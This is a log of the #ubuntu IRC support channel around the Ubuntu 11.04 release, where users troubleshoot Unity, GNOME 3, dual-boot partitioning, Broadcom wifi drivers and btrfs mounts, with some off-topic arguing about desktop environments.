[02:26] <ubottu> fester: Go to "System",  "Administration", and "Software Sources" and choose "Other" from the drop down box. Then choose "select best server" and your system will choose the fastest mirror for you automatically.
[02:26] <Herbs> elsoja make an extended partition its probably not letting you because you have to many primary if you have windows the recovery stuff usually takes 2 primary partitions
[02:26] <cc11rocks> I'm running Ubuntu 11.04 with a netbook...
[02:26] <Tekk_> using 10.10
[02:26] <elsoja> nit-wit: of windows, no
[02:26] <ohsix> SinnerNyx: props for figuring out the .d thing, most people don't even look around
[02:26] <gogeta> ohsix: naa that was when they first came out its slowed down alot
[02:26] <a7ndrew> ohsix: yeah, think I'll have to.
[02:27] <jiga> is it possible to remove unity menu panel on second monitor?
[02:27] <gogeta> ohsix: being everyone owns one now heh
[02:27] <fester> Logan_: i don't have a gui yet, my synaptics isn't working
[02:27] <sebsebseb> jiga: no don't think so
[02:27] <MarcN> Upgraded my hp2133 notebook to Natty -- after about 2 minutes it hangs.  100% of the time.  Suggestions on debugging?
[02:27] <soreau> Why doesn't Alt+F2 work with metacity in 11.04?
[02:27] <fester> (synaptics the laptop mouse driver)
[02:27] <rigved> hi everyone...using 11.04 with unity 3d...it's really cool :)
[02:27] <fester> so i can't log in
[02:27] <elsoja> Herbs: there's no space for any partition, windows is taking all the hd[
[02:27] <vblando> test
[02:27] <ohsix> gogeta: thats most of what i see at the schools :D
[02:27] <nit-wit> elsoja, you do now boot it to the command and run bootrec.exe /fixmbr  http://neosmart.net/blog/2008/windows-vista-recovery-disc-download/
[02:27] <robin0800> soreau, if metacity is running unity 3d has crashed as it needs compiz
[02:27] <ohsix> gogeta: but still, large target, and cheaper machines with smaller screens are becoming more prevalent
[02:28] <gogeta> ohsix: yea tablets are takeing off
[02:28] <ohsix> gogeta: natty has a first class omap4 target this time around
[02:28] <soreau> robin0800: That was not my question
[02:28] <soreau> Why doesn't Alt+F2 work with metacity in 11.04?
[02:28] <elsoja> nit-wit: it's xp
[02:28] <nit-wit> elsoja, you can use gparted but the W7 disk manager is suggested
[02:28] <robin0800> soreau, it does
[02:28] <gogeta> ohsix: iv seen a few omap on ebay the launch ones
[02:28] <Logan_> soreau: it should
[02:28] <ohsix> soreau: are you using metacity? long story short, the panel applet with the application/places/system menu on it does that
[02:28] <soreau> robin0800: Why didn't you say that in the first place?
[02:29] <elsoja> nit-wit: gparted cant rezise
[02:29] <soreau> ohsix: You mean gnome-panel has to be running
[02:29] <conical> ohsix, did I miss your answer?
[02:29] <robin0800> sor or unity 2d
[02:29] <elsoja> nit-wit: "unsable to read the contents of this filesystem"
[02:29] <elsoja> nit-wit: *unable
[02:29] <Vorenii> Are there in ubuntu ways to just like in Windows 7 show my load on the processor and memory?
[02:30] <diglett> hi all, I'm having a power issue. i've got ubuntu installed on an Asus G71X, and everytime I unplug it, ubuntu locks up. It works fine under windows so i'm guessing it's not a hardware issue. Any ideas for what I should try?
[02:30] <soreau> ohsix: Yes you're right, thanks.
[02:30] <soreau> I can see the menu now too, whew
[02:30] <a7ndrew> awesome, I disabled the unity plugin from about:config, now that's gone, but I've also go no gnome panels. How do I logout?
[02:30] <soreau> What a constricting piece of garbage unity is
[02:30] <ohsix> conical: to do what you want to do you need to use xvnc
[02:30] <gogeta> soreau: cough kde
[02:30] <ohsix> soreau: #ubuntu-offtopic
[02:31] <Herbs> elsoja boot windows and shut it down properly maybe run a chkdsk on it sounds like te windows partition has not been unmounted cleanly
[02:31] <conical> x11vnc, correct?
[02:31] <ohsix> a7ndrew: there are no panels in unity, just something that looks like one
[02:31] <robin0800> soreau, unity 2d works fine
[02:31] <nit-wit> elsoja, boot a live Ubuntu cd and follow the next pastebin to install lilo it will boot XP.
[02:31] <Guest50068> just installed 11.04 trying to use the clearlooks theme..it works on many windows, but not on fire foxes windows?
[02:31] <Spaz_Dynamic> Why doesn't apt-get / synaptic / updates / kpackagekit / whatever download and install things as soon as they're downloaded, unless they're dependent on another download that hasn't completed yet? It would be more efficient that way...
[02:31] <ohsix> Guest50068: firefox does its  own ui
[02:31] <elsoja> Herbs: i cant boot windows
[02:32] <Spaz_Dynamic> such as if you have a list of 20 things, it waits til they're all downloaded before installing them
[02:32] <ohsix> Guest50068: clearlooks will apply to buttons and some things, but not overall
[02:32] <Herbs> elsoja what about safe mode?
[02:32] <Xylch> Does unity use notify-osd?
[02:32] <Soothsayer> I'm on the Natty live cd right now.. it has detected my wifi right thought not sound or the dual monitors..
[02:32] <Soothsayer> should I just go ahead and install it ?
[02:32] <ohsix> Spaz_Dynamic: because it extracts all of the package information to do an atomic application of the packages
[02:32] <freeman_> where is my show desktop button in unity?
[02:32] <Guest50068> ohsix...can I change it some how on firefox?
[02:32] <nit-wit> elsoja, http://pastebin.com/E48YvGxw
[02:32] <elsoja> Herbs: neither
[02:32] <ohsix> Spaz_Dynamic: it's faster, and it needs all the packages to apply to do it
[02:33] <Soothsayer> I believe the right drivers for graphic card, etc can be configured after installation ?
[02:33] <ohsix> Guest50068: not in a manner that will probably get you what you want :\
[02:33] <Spaz_Dynamic> ohsix: "atomic application" ?
[02:33] <elsoja> nit-wit: can i do this from a live cd?
[02:33] <Herbs> elsoja have you fixed the boot record or tried installing grub?
[02:33] <ohsix> Spaz_Dynamic: done in one go, or not done at all
[02:33] <m1ck3y> I'm experiencing extremely slow download speeds  (both wired and wireless). They're less that 1/4 the speed the same computer gets on Windows, where do I look for help?
[02:33] <Guest50068> oh six..just hoping to get the closing x on the right :)
[02:33] <ohsix> Spaz_Dynamic: installing 100 packages one a ta  time is different than installing them in one step
[02:33] <elsoja> Herbs: i coundt install grub
[02:33] <gogeta> m1ck3y: the repos are flodded so it may just be slowness of the internet
[02:34] <linuxman410> anyone know about intel graphic cards
[02:34] <m1ck3y> gogeta: Oh ok, thanks for the heads up.
[02:34] <Tekk_> linuxman410: what about them?
[02:34] <conical> ohsix, so, a simpler question
[02:34] <diemos> erm, quick question: How do you un-zoom? I somehow triggered the stupid accessability zoom function and can't get ou tof it lol
[02:34] <ohsix> Guest50068: that'd be something your window decorator needs to be told to do; either from compiz or if it's metacity, in it's gconf settings
[02:34] <Slimcea_boy> Can I use an desktop install iso so my upgrade doesn't have to go to network, or does that only work with the alternate CD?
[02:34] <Herbs> elsoja dont look good then Im afraid :(
[02:34] <conical> I have partitions that I could access just fine if I had mounted them using gnome
[02:34] <nit-wit> elsoja, read the paste from a live ubuntu cd open softwrae sorces, you may have to right click the menu to tick it on open the software sources 1st tab 2nd box universe click active let it reload and follow the commands..
[02:34] <conical> I can't do it using a gnome session (i've tried)
[02:34] <conical> remotely
[02:35] <ohsix> Slimcea_boy: only the alternate
[02:35] <Hello71> diemos: Hold Super and rotate the mouse scroll wheel.
[02:35] <linuxman410> Tekk i have a 845 ge that only has one resolution and no monitor listed how do i fix
[02:35] <Slimcea_boy> ohsix: ok, can you point me at the instructions for doing this, I can't seem to find them :\
[02:35] <ohsix> Slimcea_boy: the livecd is cloned to the systen with a regular livecd, the alternate has packages on it
[02:35] <MarcN1> wrt my Natty hang on hp2133 notebook, it may be related to wireless.  Disabling wifi seems to stop it from hanging -- and severely limiting its usefulness...
[02:35] <diemos> Hello71: orz, I thought I'd tried that. Thanks.
[02:36] <ohsix> MarcN1: what wifi hw?
[02:37] <MarcN1> ohsix: checking.
[02:37] <andrew__> I have a question. What does Upgrading Ubuntu do?
[02:37] <Xylch> Does unity use notify-osd? I am not getting any pop-ups
[02:37] <Herbs> upgrades it :) define upgrading
[02:38] <ohsix> andrew__: it changes the release name and switches to that releases package versions
[02:38] <MarcN1> ohsix: Broadcom BCM4311 a/b/g rev 02
[02:38] <andrew__> Clicking Upgrade in the update manager
[02:38] <tase> is there a way to get the right alt to change workspaces with a us international layout with dead keys ?
[02:38] <PovAddict> will there be an Ubuntu variant with GNOME, just like Kubuntu has KDE?
[02:38] <Hello71> PovAddict: ?
[02:38] <MK``> That's what everyone has in the back of their head PovAddict: Gubuntu 11.11
[02:38] <MarcN1> ohsix: enabling wifi, to see if that causes a hang
[02:39] <gogeta> PovAddict: there is
[02:39] <gogeta> PovAddict: just not a offical kindda like lubuntu isnt
[02:39] <Herbs> PovAddict even if there isnt this is ?Linux you can do what you want with it if they never realease another gnome distro you can always install gnome
[02:39] <ohsix> MarcN1: ah, you could try installing bcmwl-kernel-source, it's the proprietary driver, but i've had luck with it on my netbook (namely it doesn't drop connections in a manner that would seem to suggest the wifi chipset is overheating)
[02:39] <gogeta> PovAddict: the lxde varent
[02:39] <MarcN1> ohsix: yup Broadcom BCM4311 wifi borks natty on my notebook
[02:39] <MarcN1> ohsix: I'd be happy with no hangs!
[02:40] <PovAddict> seems weird that GNOME is now less officially-supported than XFCE... :/
[02:40] <thanos> hello!
[02:40] <gogeta> PovAddict: http://ugr.teampr0xy.net/
[02:40] <Herbs> again this is Linux who cares about the gui :)
[02:40] <taglass> PovAddict: The default environment is gnome.. How is that less supported?
[02:40] <PovAddict> taglass: that's not gnome, that's unity
[02:40] <ohsix> MarcN1: was that an upgrade or a new install? if the former it might like a firmware update
[02:40] <thanos> i have problem with fsck.btrfs
[02:41] <gogeta> taglass: its unity bascily a relly relly bad ui
[02:41] <ohsix> PovAddict: gnome is 99.99% of what makes ubuntu go
[02:41] <OchoZero9> ohsix: i installed ubuntu-desktop. After I restarted I selected ubuntu and all I saw was Icons and a background. Alt F2 didn't even work. Now I'm in ubuntu classic (no effect)
[02:41] <robin0800> PovAddict, and classic is gnome
[02:41] <gogeta> taglass: that uses gnome
[02:41] <taglass> PovAddict: Unity is simply the windowmanager.  When you use compiz insteda of metacity is it not still gnome?
[02:41] <ohsix> PovAddict: unity is 0.001%, and it's a plugin for an alternate window manager, compiz
[02:41] <thanos> i can't see  my data in my partition ? any idea?
[02:41] <MK``> Compiz is the window manager, Unity is the shell, to be more precise.
[02:41] <PovAddict> even before they called it unity, ubuntu was modifying the hell out of gnome upstream
[02:41] <gogeta> yes and the shell is everything
[02:41] <Herbs> regardless of what the distro is released with you can always install whatever desktop you want and remove any you dont guys this aintgg windows
[02:42] <tase> How do I reorder the close / minimize / maximize buttons in gconf-editor
[02:42] <OchoZero9> If you look in the compiz website .. it's now going to be easier to port apps from mac windows and linux
[02:42] <ohsix> MK``: the shell is still separate, but it does meld a few things; it's just a plugin for compiz
[02:42] <MarcN1> ohsix: natty &  wifi works on my old hp nc6000 just fine.
[02:42] <gogeta> the rest is just gtk
[02:42] <PovAddict> OchoZero9: ?
[02:42] <ohsix> OchoZero9: why would that be?
[02:42] <robin0800> and metacity is  the window manager for unity 2d
[02:42] <ohsix> PovAddict: no they weren't (modifying)
[02:42] <r000t> ohsix: did you ever get those pastes?
[02:42] <MK``> Ooh I didn't know what ohsix
[02:43] <MarcN1> ohsix: and not the hp elitebook 8530w which I think uses a similar broadcom.
[02:43] <ohsix> PovAddict: in fact you can still go look at the patches ubuntu maintains outside of gnome and that they couldn't get upstream
[02:43] <george__> After tried an upgrade to 11.04, I've got this http://pastie.org/1845644. And my dpkg --audit returns me this http://pastie.org/1845647. Any help, please?
[02:43] <OchoZero9> in win 8 aero is going to be worked by compiz , i don't understand those technical terms though
[02:43] <ohsix> MarcN1: dunno, chances are it's the bios or something; crashing problems are really lame
[02:43] <MK``> Ubuntu will be Gnome 2 with Unity; the inevitably Gubuntu will be Gnome 3 :P
[02:43] <PovAddict> OchoZero9: dude, that was an April Fools joke
[02:43] <OchoZero9> oh ok
[02:43] <OchoZero9> got me
[02:43] <MarcN1> ohsix: technically a hang ;-)
[02:43] <Guest74099> does anyone know why my memory may be pegging out, I have had issues lately with webpages freezing and it says the system may be out of memory, so i actually checked this time and cpu2 was maxed out at 100%?
[02:43] <OchoZero9> you can still make ugly gtk apps
[02:43] <ohsix> MarcN1: really lame that they crash for one, but also generally really lame as to the root cause
[02:44] <Herbs> Linux is a shell the gui is just a frontend for the shell you can use any you want so why moan
[02:44] <OchoZero9> any how
[02:44] <ohsix> Herbs: linux is a kernel, what you think of the shell is probably a getty on one of the virtual terminals
[02:44] <OchoZero9> How do I get unity touch?
[02:44] <gogeta> Herbs: why did gnome and cannel decide to screw up gnome
[02:44] <Herbs> oshix Im putting it in simple terms :)
[02:44] <robin0800> remove unity and install gnome3 if you wish
[02:44] <ManateeLazyCat> Hi all, I install gnome3 on Ubuntu 11.04, how to remove "Windows key" from global binding? Since Alt+F1 same as "Windows key"
[02:45] <ohsix> OchoZero9: afaik there are no special steps, if unity 3d doesn't run on your device you can always try unity2d
[02:45] <Jon4248> okay, so question, I have unreal 2004 installed. When I create a launcher on my desktop to ut2004-bin it doesn't launch...nothing happens. However, if I open it from the ut2004/system dir the game will open...what am I doing wrong?
[02:45] <gogeta> Herbs: questions with no answers there
[02:45] <ManateeLazyCat> Thaks! :)
[02:45] <ohsix> gogeta: what?
[02:45] <OchoZero9> why wouldn't it run ?
[02:45] <gogeta> ohsix: gnome shell and unity both sucking
[02:45] <MarcN1> ohsix: ah, the nc6000 wifi is an Atheros.
[02:45] <ohsix> gogeta: you know gnome is a huge collection of software, the window manager and nautilus are small but important constituent parts
[02:45] <thanos> someboby knows about fsck.btrfs? i cant se my data in my disk after update to 11.04
[02:45] <Ziber> So I had a lot of trouble with my audio working in ubuntu 10.10, now I'm trying to get my built in mic on my toshiba laptop to work. Is there a group I should be added to for this to work?
[02:45] <ohsix> gogeta: that's your opinion, and it doesn't bear repeating; go talk to them about how you think you can improve them
[02:46] <ohsix> MarcN1: ah, ath9k? i have an ath5k too and it works great
[02:46] <Herbs> gogeta I have no idea Im not an Ubuntu user Im a red hat admin ,  I just happened to pop in here yesterday and found the people where nice
[02:46] <gogeta> ohsix: fork gnome 2 problem fixed
[02:46] <Flynsarmy> Has anyone noticed that with the new scrollbars you can't click on, for instance, the bottom half of the scrollbar when the scroller is at the top anymore? because no scroller appears down there when you mouse over
[02:46] <ManateeLazyCat> Anybody know how to remove "windows key" from gnome3?
[02:46] <Macer> know this might sounds like a bad one but.. in order to change the name of a grp all i do is edit /etc/group and rename the group?
[02:46] <MarcN1> ohsix: Atheros AR5001X+, which is working fine.
[02:46] <ohsix> gogeta: why do you need to? do you even know what the terms you're using are?
[02:46] <ManateeLazyCat> Or how to customize keyshort in Gnome3, any tool?
[02:46] <sushemsu> is there a way to get proprietary drivers on my toshiba on board graphics to get graphics working all cool liuke
[02:46] <OchoZero9> why wouldn't unity 3d run on my computer? I don't have agraphics card and starcraft II runs perfectly in 3d mode
[02:46] <nowherefast> ohsix: i tested different drivers on the netbook (eee) and the ath9k driver works in ubuntu 9.04 but not in 10.10... weird huh
[02:46] <ChronicSyncope> upon update to 11.04 i can't get desktop cube working. every time i try to start it, it breaks the gnome window manager
[02:46] <ohsix> gogeta: gnome3 is a deprecation and migration effort largely centered around gtk and the libraries nearly always used alongside it
[02:46] <gogeta> ohsix: becouse gnome 3 droped metacity and are using gnome shell
[02:47] <MarcN1> ohsix:  my corp laptop may use broadcom, not upgrading that until natty is out a bit longer
[02:47] <ohsix> gogeta: there is also gnome-shell
[02:47] <ohsix> gogeta: no they didn't
[02:47] <Jon4248> okay, so question, I have unreal 2004 installed. When I create a launcher on my desktop to ut2004-bin it doesn't launch...nothing happens. However, if I open it from the ut2004/system dir the game will open...what am I doing wrong?
[02:47] <Jon4248> im using 11.04 btw
[02:47] <kusanagi> how do you use your second monitor in a dual monitor setup with unity? when I move windows to edge of one screen, they maximize in the middle of the screen :S
[02:47] <ohsix> nowherefast: dunno if that's weird, i do know there was a firmware transition in that timeframe
[02:47] <soreau> ohsix: Don't OT me when I'm talking about unity
[02:47] <gogeta> ohsix: well i dont care anyways its just gonna spell doom for gtk
[02:47] <ohsix> soreau: it is offtopic, we support it, we don't care what you think about it
[02:47] <OchoZero9> why wouldn't unity 3d run on my computer? I don't have agraphics card and starcraft II runs perfectly in 3d mode
[02:47] <ohsix> gogeta: you don't know what you are talking about, at all
[02:48] <soreau> ohsix: You don't support unity here??
[02:48] <a7ndrew> kusanagi: I gave up, its not ready: http://ubuntuforums.org/showthread.php?p=10712593
[02:48] <gogeta> ohsix: you think that
[02:48] <ohsix> gogeta: gtk is a library software uses, it's not going anywhere
[02:48] <soreau> ohsix: The default wm scheme in ubuntu 11.04?
[02:48] <Herbs> if you need a gui so bad why use Linux?
[02:48] <Jon4248> OchoZero9, what video card do you have?
[02:48] <ohsix> gogeta: i know that, you are making statements and i am reading them
[02:48] <Ziber> So I had a lot of trouble with my audio working in ubuntu 10.10, now I'm trying to get my built in mic on my toshiba laptop to work. Is there a group I should be added to for this to work?
[02:48] <ohsix> soreau: "unity sucks" is not a support question
[02:48] <Soothsayer> ok someone please help me here. I'm on the install screen. I want to dual boot Ubuntu with Windows 7.. I created an ext4 partition and picked it during installation. Now what do I pick for "Device for booter loader installation?"
[02:48] <soreau> ohsix: I didn't say it sucked
[02:48] <OchoZero9> I don't have any
[02:48] <gogeta> ohsix: gtk is part of the gnome ui and if people dump gnome in mass due to unity and gnome shell everyone will start uing anything else
[02:48] <soreau> I said it was a constricting piece of garbage
[02:48] <OchoZero9> I think it's built in the processor
[02:49] <ohsix> gogeta: yea just like everyone did last time, quality matters
[02:49] <ChronicSyncope> I'm in 11.04 with unity off, and when i try to start desktop cube from compiz, my window manager dies and nothing works.
[02:49] <aaron-wayne> can anyone help me with the memory issue?
[02:49] <Jon4248> Soothsayer, your hard drive
[02:49] <OchoZero9> Jon4248:  I think it's built in the processor
[02:49] <gogeta> ohsix: acully they did when kde whent downhill and gnome got good
[02:49] <Herbs> is 11.04 LTS?
[02:49] <soreau> ohsix: As a support helper, you should ask why one thinks that and try to help them with the specific problem they're having
[02:49] <Bluebill-Wolf> i need a hand with something
[02:49] <ohsix> ChronicSyncope: isn't that awesome, i've had a hell of a time with compiz .9 too
[02:49] <Soothsayer> Jon4248: I have two hard drives now.
[02:49] <gogeta> ohsix: same for e17
[02:49] <AndrewMC> !lts
[02:49] <ubottu> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[02:49] <soreau> ohsix: By saying "#ubuntu-offtopic" that
[02:49] <ChronicSyncope> ohsix, haven't solved the problem?
[02:49] <gogeta> ohsix: i have been around longer then you think
[02:49] <ohsix> gogeta: you are thinking of a past that didn't exist
[02:49] <taglass> gogeta: To be fair most of the peopel I've seen that said they were leaving gnome were going to xfce... Guess what toolkit that uses? :)
[02:49] <soreau> ohsix: By saying "#ubuntu-offtopic" that's just like saying you know it is just that
[02:49] <Bluebill-Wolf> how do you do the recovary off an instalation disk?
[02:49] <Soothsayer> Jon4248: one is the one with Windows 7 and where I also plan to install Ubuntu OS... the other is for data only.
[02:49] <gogeta> ohsix: or even xfree
[02:49] <soreau> ohsix: admittance
[02:49] <Jon4248> oh, it may not be supported. maybe find out what name/model of it is
[02:49] <ohsix> gogeta: do you remember qpl?
[02:49] <Herbs> Andrew I know what LTS is thanks I asked if 11.04 is
[02:50] <ohsix> gogeta: and you remember how it was a joke that e17 was never finished
[02:50] <robin0800> ChronicSyncope, if your in classic that may not use compiz but metacity
[02:50] <AndrewMC> Herbs: no it's not
[02:50] <ChronicSyncope> ohsix, how do i at least restart the wm?
[02:50] <Flynsarmy> Herbs: 12.04 is the next LTS
[02:50] <Jon4248> Soothsayer, the install will add windows 7 to grub boot menu
[02:50] <Bluebill-Wolf> how do you do the recovary off an instalation disk?
[02:50] <zma> Does 32-bit desktop edition of Ubuntu 10.04 have Qt libraries installed by default? I can only find references that netbook edition has.
[02:50] <Bluebill-Wolf> how do you do the recovary off an instalation disk?
[02:50] <gogeta> ohsix: they all had there high  useage times
[02:50] <ChronicSyncope> robin0800, classic always used to use compiz...
[02:50] <extraclassic> gogeta: have you tried kde 4.6
[02:50] <ohsix> ChronicSyncope: it should have already, but eh, you could try alt+f2 and typing in compiz --replace
[02:50] <Bluebill-Wolf> how do you do the recovary off an instalation disk?
[02:50] <Herbs> Andrew and Fly thanks
[02:50] <gogeta> extraclassic: yes pretty nice
[02:50] <ohsix> gogeta: good thing it's not a poll huh
[02:50] <Soothsayer> Jon4248: ok so im picking the "hard drive" which has Windows 7.. and NOT any partition under it.
[02:50] <Soothsayer> right?
[02:50] <Bluebill-Wolf> how do you do the recovary off an instalation disk?
[02:50] <Jon4248> Soothsayer, yes.
[02:51] <Bluebill-Wolf> how do you do the recovary off an instalation disk?
[02:51] <ChronicSyncope> ohsix, nope... still nothing.
[02:51] <Soothsayer> Jon4248: /dev/sdb ATA ST... (500.1 GB)
[02:51] <Flynsarmy> ChronicSyncope: it still does. I've got ccsm installed and was mucking around with the settings last night. after removing unity that is
[02:51] <extraclassic> gogeta: was gonna say if you're unhappy with unity & gnome 3, kde 4.6 is better than gnome 2.32
[02:51] <ohsix> soreau: 18:30 < soreau> What a constricting piece of garbage unity is
[02:51] <IdleOne> !repeat | Bluebill-Wolf
[02:51] <ubottu> Bluebill-Wolf: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[02:51] <Jon4248> Soothsayer, this is for the boot loader right?
[02:51] <ChronicSyncope> Flynsarmy, I'm using classic, so unity should be off... hopefully
[02:51] <Soothsayer> Jon4248: yes
[02:51] <ohsix> soreau: #ubuntu-offtopic is for those statements if you would like to keep making them, particularly the adjective is useless to anyone in here
[02:51] <gogeta> extraclassic: using it on my netbook
[02:51] <ohsix> extraclassic: lawl
[02:51] <kusanagi> a7ndrew thanks, any bug link i can follow up?
[02:51] <Jon4248> Soothsayer, then yes. you'll see what i mean when you reboot after the install.
[02:52] <ohsix> gogeta: oh you've shown your cards then, you really do not know anything and merely believe you're above the fray
[02:52] <Flynsarmy> ChronicSyncope: can't help you with the cube thing - i don't use it. just wanted to mention that compiz seems to work fine - was tweeking madly to get things working/looking right and nothing seemed to break
[02:52] <Soothsayer> Jon4248: ok.
[02:52] <Jon4248> it just shows a simple text menu after with ubuntu or windows 7 (loader)
[02:52] <soreau> ohsix: What adjective?
[02:52] <thanos> someboby knows about fsck.btrfs? i cant se my data in my disk after update to 11.04
[02:52] <ChronicSyncope> Flynsarmy, i don't even have cube turned on, i just can't get my wm to re-appear
[02:52] <gogeta> ohsix: what hat my netbook runs kde plasma
[02:52] <lainy> After upgrading to the latest Ubuntu, I cannot even use nano on rxvt-unicde. I receive the error "Error opening terminal: rxvt-256color.
[02:52] <gogeta> that
[02:52] <ohsix> soreau: i quoted you, i trust that you know what an adjective is
[02:52] <IdleOne> ohsix soreau gogeta please move the meta discussion to #ubuntu-offtopic
[02:52] <soreau> ohsix: You're not taking the correct action. You're shrugging off unity support
[02:52] <gogeta> ohsix: thats after i ripped out unity
[02:52] <arand_> thanos: What kind of btrfs setup did you have before?
[02:53] <Bluebill-Wolf> kinda need a hand here
[02:53] <Bluebill-Wolf> >.>
[02:53] <a7ndrew> kusanagi: good question, there's got to be something on Launchpad
[02:53] <ohsix> soreau: i am not, what can i do to help you with a constricting piece of garbage? i think there's not much i can do! if you had forme dit as a question i could have said something
[02:53] <arand_> thanos: What is hapening with fsck currently?
[02:53] <brewster> hey im running ubuntu 10.10 and i want to know this before i upgrade: i have graphics and wireless drivers installed. will i lose them when i upgrade?
[02:53] <jrib> so much non-support talk :(
[02:53] <ohsix> soreau: you thanked me last time i answered a question you actually asked
[02:53] <gogeta> arand_: what abought btrfs?
[02:53] <Soothsayer> Jon4248: one more confusing. I'm picking the ext4 partition which I made a few minutes earlier using gparted. Do I have to set the Mount point ?
[02:53] <thanos> arand_, i had /home before and now i cant see my data
[02:53] <MK``> !offtopic
[02:53] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[02:53] <IdleOne> ohsix: Please drop it.
[02:54] <lainy> After upgrading to the latest Ubuntu, I cannot even use nano on rxvt-unicde. I receive the error "Error opening terminal: rxvt-256color." Does anyone know how I can resolve this issue? I tried reinstalling urxvt but that did not help. Thanks for any help.
[02:54] <elsoja> when i start to install ubuntu the opition to split the hd with windows do not appear, and i cant resize windows partition
[02:54] <Andrey_BTI> Hi! I'm sorry, my English is vary bad. I have a problem: i can't connect to windows network.
[02:54] <atpa8a> hello
[02:54] <atpa8a> congrats on the release
[02:54] <MK``> Andrey_BTI: what error do you get?
[02:54] <thanos> arand_,  its problem from ubuntu 11.04 after update
[02:54] <ManateeLazyCat> Damn, i hate Gnome3 eat my "windows key"
[02:54] <Herbs> soothsayer yes you need to set the mount pint as /
[02:54] <arand> thanos: Right, and this home was created in maverick, and you have mad an install re-using /home, or just an in-place upgrade?
[02:54] <Jon4248> Soothsayer, yes, set the root (ubuntu install files) to  /  and i personally make a /home parition as well
[02:54] <atpa8a> anyone have any issues with broadcom wifi?..
[02:55] <coz_> ManateeLazyCat,  are you on gnome3  or ubuntu 11.04?
[02:55] <brewster> i did atpa8a
[02:55] <mickster04> MK``: Andrey_BTI's prpoblem sounds like a samba issue
[02:55] <brewster> i can help you
[02:55] <ohsix> atpa8a: can you rephrase that in the form of a question
[02:55] <Andrey_BTI> I connect to winnetwork, go to workgroup, connect to server, then press BACK, and i didn't see anything
[02:55] <ManateeLazyCat> coz_: Gnome-shell with Ubuntu-11.04
[02:55] <a7ndrew> kusanagi: Unity dual monitor bugs, pick your favourite! #5927116 #685179 #742020 #755357 #752612 #731322 #769650
[02:55] <Soothsayer> Herbs, Jon4248 : ok, so I picked Ext4 File Journaling System and set the mount point as /
[02:55] <Herbs> it dont matter what partition you have the mount point on the partition you have ubuntu installed has to be /
[02:55] <Jon4248> a7ndrew, lol
[02:55] <coz_> ManateeLazyCat,  ooo   ok...
[02:55] <Andrey_BTI> not samba - first time i can see server, then a can't
[02:55] <elsoja> when i start to install ubuntu the opition to split the hd with windows do not appear, and i cant resize windows partition. what can i do
[02:55] <robin0800> Soothsayer, yes you must if your going to install on it
[02:55] <theholder> lol
[02:55] <mickster04> !broadcom | atpa8a
[02:55] <ubottu> atpa8a: Help with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[02:55] <MK``> yeah most likely mickster0. Andrey_BTI, can you connect to it successfully via direct IP?
[02:55] <kins> is ubuntu 11.04 worth updateing too
[02:55] <atpa8a> ohsix: it just doesn't work :P why? worked in 10.10
[02:56] <thanos> firtst mad update and after new install
[02:56] <Andrey_BTI> but a can connect by VONNECT TO SERVER
[02:56] <Soothsayer> Herbs, Jon4248 : ye, I want to keep all 'data' files on the other disk... so that means I should mount /home and /var onto the other disk?
[02:56] <Jon4248> Soothsayer, yup. you didnt delete your win 7 partition right?
[02:56] <ohsix> atpa8a: which one is it? you probably need to install firmware
[02:56] <Soothsayer> How should I be going about this.
[02:56] <thanos> arand_, firtst mad update and after new install
[02:56] <ManateeLazyCat> coz_: I binding so many "windows key shortcut" on Emacs, i hate Gnome3 binding "windows key", do you know any way to remove "windows key" ? Since I can use Alt+F1 too.
[02:56] <arand> thanos: Do this "sudo mount /dev/sdXY /mnt -o defaults,subvolid=0"
[02:56] <Jon4248> Soothsayer, yes
[02:56] <Soothsayer> Jon4248: no I did not! :-| *cross checks* .. no i didn't! p
[02:56] <Jon4248> :)
[02:56] <coz_> ManateeLazyCat,  not that I am aware of  no...
[02:56] <Herbs> soothsayer they dont have to be on different disks just use different partitions
[02:56] <MK``> Andrey_BTI I actually had a similar issue and it ended up being a bug in nautilus. I'd make sure the workgroup is correct, the permissions on the share are correct, etc.
[02:56] <atpa8a> ohsix: in 10.10 i could use the BCM driver
[02:57] <arand> thanos: sdXY representing your /home btrfs partition.
[02:57] <Soothsayer> Herbs: well, I don't have any partitions.. but I have a lot of unallocated space on the other disk.
[02:57] <ManateeLazyCat> coz_: Even hacking way? I guess gnome developer must have some code do those?
[02:57] <spungo> If this is the *Official* suport channel, can I assume Canonical staff are on-line here? If so, how am I to distinguish between staff and "n00bz"?
[02:57] <ohsix> atpa8a: in 11.04 you can too, but you should try the included drivers
[02:57] <atpa8a> trying fwcutter
[02:57] <Ziber> could someone explain to me what pulseaudio is exactly?
[02:57] <Jon4248> we
[02:57] <ohsix> spungo: they are not
[02:57] <Andrey_BTI> And second time i try to connect to winnetwork - i can't see anything, nor a share folders, nor a server list
[02:57] <ManateeLazyCat> coz_: or they hard-coding it?
[02:57] <ohsix> spungo: if they are they will not be here in that capacity
[02:57] <gogeta> spungo: communty help no cannel
[02:57] <Herbs> soothsayer there is no issues with puting them on another disk so yes go ahead
[02:57] <atpa8a> ohsix: how do you mean "included"?
[02:57] <RedLance> Ok, I'm trying to make an .iso image of a bootable dvd, and I'm using dd if=/dev/sr1 of=filename.iso and it keeps giving me an I/O error and copies 16kB...the drive is not mounted.  Any help please?
[02:57] <thanos> arand_, in sda3
[02:57] <shane4ubuntu> how do we get special effects for unity?
[02:57] <Herbs> have your rootfs on your main disk and make the mount point /
[02:58] <mickster04> shane4ubuntu: compiz
[02:58] <Soothsayer> Herbs, Jon4248 : So /home and /var go to two separate partitions on another disk?
[02:58] <MK``> Andrey_BTI: if it worked fine, you didn't change any settings and it suddenly stopped working, it may be the nautilus bug I encountered
[02:58] <Jon4248> shane4ubuntu, install ccsm
[02:58] <thanos> arand_, i dont want to make it home again but only to see the data
[02:58] <ohsix> atpa8a: well the kernel has drivers, it needs the firmware; but theres also bcmwl-kernel-source which is the proprietary driver, i thought you were talking about the latter, but then you mentioned fwcutter
[02:58] <MK``> because I could use other file managers and it worked fine
[02:58] <Herbs> soothsayer yes totally no probs in doing that
[02:58] <Jon4248> Soothsayer, if thats what you want.
[02:58] <shane4ubuntu> mickster04: like before, just enable them through the appearance menu
